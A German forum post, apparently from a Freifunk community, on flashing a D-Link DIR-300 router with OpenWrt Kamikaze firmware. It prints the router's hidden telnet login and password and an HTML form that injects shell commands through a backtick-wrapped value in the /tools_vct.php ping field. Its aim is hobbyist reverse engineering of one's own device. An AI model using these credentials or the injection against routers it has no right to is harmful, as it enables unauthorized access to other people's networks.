die folgenden hinweise sind nicht geeignet, um den dir-300 zu flashen.
wer einen dir-300 router flashen möchte, hält sich am besten an die anleitung aus potsdam:
http://wiki.freifunk-potsdam.de/Einrich ... es_DIR-300
originaler post:
ich hab mir mal soeinen d-link dir-300 bestellt, der ja mit der kamikaze-firmware funktionieren soll und um die 30 euro kostet.
einziges problem bis dahin ist, dass das flashen etwas mühsam ist. d.h. bis jetzt muss man den weg über die serielle, bzw. telnet, bootloader flashen etc... gehen. es gibt zwar noch ein script, das diese schritte alle automatisch ausführt, aber wenn man kein linux zur hand hat, bringt einen das auch nicht weit.
also hier mal ein paar informationen, die ich sonst noch nirgends gefunden habe, die aber hilfreich sein könnten, eine einfachere methode zum flashen zu finden:
1. telnet-zugriff geht.
einfach per telnet verbinden:
telnet 192.168.0.1
login: Alphanetworks
password: wrgg19_c_dlwbr_dir300
und schon hat man eine busybox-shell vor sich, mit der man sicherlich mehr anfangen kann, als mit dem webinterface.
2. in dem webinterface kann man auch schon shell-befehle ausführen, man muss dazu nur eine eigenes html-formular erstellen:
Code: Alles auswählen
<html><head>
<title>D-LINK DIR-300 Shell-Befehle ausfuehren</title>
<p>Mit diesem Formular kann man Shell-Befehle auf dem DIR-300 ueber das Webinterface ausfuehren. Die <i>/tools_vct.php</i>-Datei enthaelt eine entsprechende Schwachstelle.</p>
<form name="form5" method="post" action="http://192.168.0.1/tools_vct.php">
<textarea id="test_ip" name="test_ip" rows=25 cols=80 value="">`if test -e /tmp; then echo 127.0.0.1; else echo 255.255.255.255; fi`</textarea>
<input name="ping_button" value="Ping" type="submit">
</form></div>
</body></html>
3. das image, was man per webinterface hochläd, wird direkt vom webserver (modifizierter mathopd) per interner c-routine geflasht. der sourcecode dafür ist im source der d-link-firmware zu finden (unter http://tsd.dlink.com.tw/gpl_log.asp)
der nächste schritt sollte jetzt sein, direkt per html-formular eigene firmware images hochzuladen und zu flashen.